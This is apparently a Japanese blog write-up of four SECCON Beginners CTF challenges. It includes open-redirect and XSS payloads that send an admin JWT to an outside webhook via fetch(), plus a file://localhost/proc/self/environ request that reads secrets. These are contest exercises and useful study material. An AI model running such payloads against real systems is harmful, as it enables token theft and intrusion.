ちゃんとCTFやるのが1年ぶりぐらいだったので結構楽しめました。
webに絞って解いていたのですが、3問で力尽きてしまいmiscも1つ解きました。
web
wooorker
adminのJWTを取る問題。
JWTの生成過程は堅そうだったので、/reportからJWTを奪う方針。
ログインフォームのオープンリダイレクトを悪用して、webhook.siteに投げる。
POST /report HTTP/1.1
Host: wooorker.beginners.seccon.games
Content-Length: 80
Content-Type: application/json
Connection: keep-alive
{"path":"login?next=https://webhook.site/eaea36b3-243a-4e64-acb6-0adf440fe779/"}
数秒後、レスポンスが返ってくる。(コンテスト中は結構込み合っていました)

このtokenを使ってアクセスすればよい。
https://wooorker.beginners.seccon.games/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDM4MzQ4LCJleHAiOjE3MTg0NDE5NDh9.yMEeKHcN9Q3mouWSVi5P135inigZMnO-Qy-J3rZqF4o

ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}
ssrforlfi
LFI(?)かSSRFかRCEができそうな問題。
# Allow only a-z, ", (, ), ., /, :, ;, <, >, @, | if not re.match('^[a-z"()./:;<>@|]*$', url): return "Invalid URL ;(" # SSRF & LFI protection if url.startswith("http://") or url.startswith("https://"): if "localhost" in url: return "Detected SSRF ;(" elif url.startswith("file://"): path = url[7:] if os.path.exists(path) or ".." in path: return "Detected LFI ;(" else: # Block other schemes return "Invalid Scheme ;(" try: # RCE ? proc = subprocess.run( f"curl '{url}'", capture_output=True, shell=True, text=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout ;(" if proc.returncode != 0: return "Error ;(" return proc.stdout
環境変数にFLAGが入っている中でいかにして上記のコードから読み出すのかということ。
SSRFしてもなんの意味も無さそうだし、curlの引数も'で囲われているし文字種制限が厳しいしでfileプロトコルを使うしかない。
環境変数自体は/proc/self/environで確認できる。
ただ、os.path.existsのチェックに引っかかるといけないので、どうにか工夫しないといけない。
まじで沼ったんですが、RFC 1738 - Uniform Resource Locators (URL)をみたらfile://localhost/が使える事が分かり、クリア。
GET /?url=file://localhost/proc/self/environ HTTP/1.1 Host: ssrforlfi.beginners.seccon.games

ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
wooorker2
前述のwooorkerとほぼ同じ。
ただ、GETパラメタではなく#を使って渡しているので、一旦location.hashで抽出しないといけない。
<script> fetch('https://webhook.site/eaea36b3-243a-4e64-acb6-0adf440fe779?'+location.hash.replace('#', '')) </script>
上記のファイルをGistにあげ、githack経由で実行させる。
POST /report HTTP/1.1
Host: wooorker2.beginners.seccon.games
Content-Type: application/json
Connection: keep-alive
Content-Length: 142
{"path":"login?next=https://gist.githack.com/amame04/3ba451aecf55bf96e21096d0aef24c7d/raw/33353b6888aead1dceec2a34a95f965c24cb0143/test.html"}

ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}
misc
getRank
webのbeginner問かと思ったので解きました……。
10 ** 255より大きい値を投げる必要があるが、桁数制限があり10進数では難しい。ほな16進数使おか。
POST / HTTP/1.1
Host: getrank.beginners.seccon.games
Content-Length: 312
Content-Type: application/json
Connection: keep-alive
{"input":"0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"}

ctf4b{15_my_5c0r3_700000_b1g?}
結
Web問の表層しか触れなくて悔しいです。
double-leaksは粘ったんですが、mongodbでString同士を$gtした時の挙動に気付けなかった……。
flagAliasもdouble-leaksが解けてたらそのままのテンションでもうちょっと粘れたかもしれない……。
htmlsはWriteup見て素直に面白いと思いました。あのような問題がwebの醍醐味だと勝手に思っています。
久しぶりのCTF楽しかったです。